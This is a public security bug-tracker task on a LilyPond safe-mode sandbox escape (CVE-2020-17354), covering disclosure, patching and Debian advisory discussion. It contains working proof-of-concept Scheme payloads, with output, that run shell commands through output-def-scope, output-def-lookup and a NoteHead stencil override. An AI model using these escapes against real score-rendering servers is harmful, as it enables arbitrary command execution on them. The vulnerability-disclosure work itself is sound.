Page MenuHomePhabricator

LilyPond safe mode escape due to output-def-lookup and output-def-scope (CVE-2020-17354)
Open, Stalled, LowPublicSecurity

Description

I discovered a sandbox escape in LilyPond's safe mode.

A previous version of this task description showed a PoC which did not work on 2.18. This PoC is confirmed to work on 2.18 and git master:

{
  \relative { c' }
}

#(begin
  (define location 1)
  (display "With output-def-scope\n")
  (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
  (display "With output-def-lookup\n")
  ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
)

With -dsafe this will show shell execution on stdout:

Parsing...With output-def-scope
uid=1000(tstarling) gid=1000(tstarling) groups=1000(tstarling)
With output-def-lookup
uid=1000(tstarling) gid=1000(tstarling) groups=1000(tstarling)

output-def-scope provides access to a module object created by the parser. It's created outside the sandbox and so inherits all top-level bindings, giving you access to all Scheme functions outside the sandbox.

output-def-lookup provides access to any binding within that module.

Suggested patch:

diff --git a/scm/safe-lily.scm b/scm/safe-lily.scm
index 25209e5a0b..100e5cdae6 100644
--- a/scm/safe-lily.scm
+++ b/scm/safe-lily.scm
@@ -102,8 +102,6 @@
    ly:number->string
    ly:option-usage
    ly:output-def-clone
-   ly:output-def-lookup
-   ly:output-def-scope
    ly:output-description
    ly:paper-book?
    ly:prob-property

Details

Risk Rating
Low
Author Affiliation
WMF Technology Dept

Event Timeline

When running the reproducer on 2.18.2 (what we run in production, with the '\version changed to "2.18.2"'), dsafe correctly prevents execution, does this rely on some change introduced post 2.18? Best to report it to the upstream developers with a private patch and let them have a closer look?

$ lilypond poc.ly
GNU LilyPond 2.18.2
Processing `poc.ly'
Parsing...Plain
uid=1000(jmm) gid=1000(jmm) groups=1000(jmm),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner),129(sbuild)
With output-def-scope
uid=1000(jmm) gid=1000(jmm) groups=1000(jmm),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner),129(sbuild)
With output-def-lookup
uid=1000(jmm) gid=1000(jmm) groups=1000(jmm),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth),116(lpadmin),117(scanner),129(sbuild)

Interpreting music...
Preprocessing graphical objects...
Finding the ideal number of pages...
Fitting music on 1 page...
Drawing systems...
Layout output to `poc.ps'...
Converting to `./poc.pdf'...
Success: compilation successfully completed


$ lilypond -dsafe poc.ly
GNU LilyPond 2.18.2
Processing `poc.ly'
Parsing...Plain

poc.ly:6:2: error: GUILE signaled an error for the expression beginning here
#
 (system "id")
Unbound variable: system
With output-def-scope
poc.ly:8:2: error: GUILE signaled an error for the expression beginning here
#
 (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
Unbound variable: location
With output-def-lookup
poc.ly:10:2: error: GUILE signaled an error for the expression beginning here
#
 ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
Unbound variable: location
Interpreting music...
Preprocessing graphical objects...
Finding the ideal number of pages...
Fitting music on 1 page...
Drawing systems...
Layout output to `poc.ps'...
Converting to `./poc.pdf'...
fatal error: failed files: "poc.ly"

I had only tested it in git master and then confirmed that output-def-lookup has existed since 2004. I'll try to reproduce it on 2.18 by locally compiling from the 2.18 branch.

To reproduce it in 2.18, you just have to define the missing "location" variable:

{
  \relative { c' }
}

#(begin
  (define location 1)
  (display "With output-def-scope\n")
  (eval '(system "id") (ly:output-def-scope #{ \midi {} #}))
  (display "With output-def-lookup\n")
  ((ly:output-def-lookup #{ \midi {} #} 'system) "id")
)

I updated the task description to show the version-independent PoC.

I've rebuilt Lilypond as 2.19.81+really-2.18.2-13~bpo9+1+wmf1 with the backported patches for the postscript/svg issues and the output-def-lookup/output-def-scope issue and uploaded to component/lilypond with a changelog message pointing only to T256877.

The POC correctly bails out with the new build and I've also pulled 20 random test files from Mutopia and ran diffpdf on the Lilypond results with the old and new version which showed no errors. The new build is now deployed fleet-wide.

Can this one have a CVE too please?

I have just submitted a request, will update the task when they've assigned one.

MoritzMuehlenhoff renamed this task from LilyPond safe mode escape due to output-def-lookup and output-def-scope to LilyPond safe mode escape due to output-def-lookup and output-def-scope (CVE-2020-17354).Aug 5 2020, 2:00 PM

Thanks for looking at LilyPond in detail.

Unfortunately, hiding ly:output-def-scope is not really solving the problem. Here is another escape

{

  \override NoteHead.text = \system
  \override NoteHead.stencil =
  #(lambda (grob)
    ((cdr (assoc 'text
	   (cadr (ly:grob-alist-chain grob '())))) "id")
    #f)
  c4

}

The 'safe' mode tries to secure the inline Scheme that is executed while parsing the file. Unfortunately, it doesn't do much for code that is not executed during the parse, as the example shows.

There are two elements that together cause problems: 1) LilyPond scoping is implemented using Guile modules. 2) The default GUILE namespace contains too many functions (among others, system).

I don't see a good way to fix the current incarnation of safe mode. I suggest to rely on a OS-level isolation mechanism instead.

Unless I'm missing something, I think this patch got dropped / never made it upstream. I don't see it in the official Debian packages either, the POC still works on buster's package.

Unless I'm missing something, I think this patch got dropped / never made it upstream. I don't see it in the official Debian packages either, the POC still works on buster's package.

For Debian I wrote the maintainers a few weeks ago and recommended that Lilypond gets properly documented as being unsafe for external scores (in a README.Debian.security or similar). Haven't gotten a reply yet, but will ping them again.

@MoritzMuehlenhoff: Have you received any reply from Debian maintainers in the meantime?

Yes, such a note was added back in August: https://tracker.debian.org/news/1249694/accepted-lilypond-2221-1-source-into-unstable/ :

Lilypond is insecure for externally fetched data files

The safe mode in LilyPond can be bypassed
and does not provide a sandbox which is robust
against code execution attacks (which can
e.g. happen via embedded Guile code).

If you use LilyPond to process files from untrusted sources
(e.g. a server passing input to LilyPond),
you need to deploy additional sandboxing measures.

I'd suggest to make this issue public (it's already semi-public since the CVE ID is listed at https://www.mediawiki.org/wiki/Extension:Score/2021_security_advisory, but without details). But that's up to @Hanwenn and the rest of the Lilypond upstream developers.

@MoritzMuehlenhoff -

Any update on this?

I'd suggest to make this issue public (it's already semi-public since the CVE ID is listed at https://www.mediawiki.org/wiki/Extension:Score/2021_security_advisory, but without details). But that's up to @Hanwenn and the rest of the Lilypond upstream developers.

Since the issues seem pretty much completely publicly-disclosed at this point, do we still need feedback from lilypond upstread to make this task public?

sbassett changed the task status from Open to Stalled.Jul 6 2022, 6:07 PM
sbassett triaged this task as Low priority.
sbassett changed Author Affiliation from N/A to Wikimedia Communities.
sbassett changed Risk Rating from N/A to Low.
sbassett changed Author Affiliation from Wikimedia Communities to WMF Technology Dept.

@MoritzMuehlenhoff -

Any update on this?

I'd suggest to make this issue public (it's already semi-public since the CVE ID is listed at https://www.mediawiki.org/wiki/Extension:Score/2021_security_advisory, but without details). But that's up to @Hanwenn and the rest of the Lilypond upstream developers.

Since the issues seem pretty much completely publicly-disclosed at this point, do we still need feedback from lilypond upstread to make this task public?

I think it makes sense to give them a courtesy notice, but I don't see an issue with making it public.

I think it makes sense to give them a courtesy notice, but I don't see an issue with making it public.

Ok, do we have a contact there? I haven't been involved in any upstream contact for this issue. If we haven't really been communicating with any specific folks, I'm happy to try their developer mailing list or IRC channel (per https://lilypond.org/contact.html) or maybe opening a (protected) issue at https://gitlab.com/lilypond/lilypond/-/issues or commenting on https://gitlab.com/lilypond/lilypond/-/merge_requests/287, though that seems a bit clunky.

I think it makes sense to give them a courtesy notice, but I don't see an issue with making it public.

Ok, do we have a contact there?

That should be Han-Wen Nienhuys (hanwenn@gmail.com)

That should be Han-Wen Nienhuys (hanwenn@gmail.com)

Thanks, email sent. Though technically I believe they are also subbed here as @Hanwenn.

Email received from Han-Wen Nienhuys on 2023-01-11 stating it was fine to make this task public. Doing so now.

sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".Jan 11 2023, 3:18 PM
sbassett changed the edit policy from "Custom Policy" to "All Users".

Forgive me for wading in from the sidelines with very little dev context as a lowly Wikipedia editor, but I can't reproduce this on 1.39 LTS with Score on the latest master using LilyPond 2.24.
Since the Score extension requires LilyPond 2.24 for supporting SVG output (T49578) which is blocking T181322, T259208, and possibly others, would it be the case that if we upgrade the Score shellbox instances to use LilyPond 2.24 instead, this issue can be resolved? Upstream LilyPond have changed their release process and now issue (64-bit only) binary tarball releases from their GitLab repository directly, which may or may not be helpful.

After a bit of testing, and assuming I should be seeing the system id in the rendered music if this is still vulnerable, I can't reproduce Tim's original PoC or the Notehead hack in Han-Wen's above comment on the following:

  • Debian buster (32 bit), lilypond = 2.19.81+really-2.18.2-13+deb10u1, MediaWiki = recent REL1_35, Score = REL1_35 b0736209 (test page)
  • Debian bullseye (64 bit), lilypond = 2.23.82 (from GitLab release tarball), MediaWiki = recent REL1_39, Score = master b1eac4fc (test page)

Debian packaging request for 2.24 in bookworm: 1026200

The system ID is dumped onto standard out. Why would you try to put it in a sheet music PDF ?

The --safe mode has been removed in https://gitlab.com/lilypond/lilypond/-/merge_requests/1522

Don't ask me, I didn't write these PoCs, and I don't know much about Lilypond's use of Scheme, or anything at all about Scheme. I'm just trying to get some PHP code to render music using LilyPond. So does that mean I should see spurious id output in logging?

I can reproduce this now... sorry about the noise :)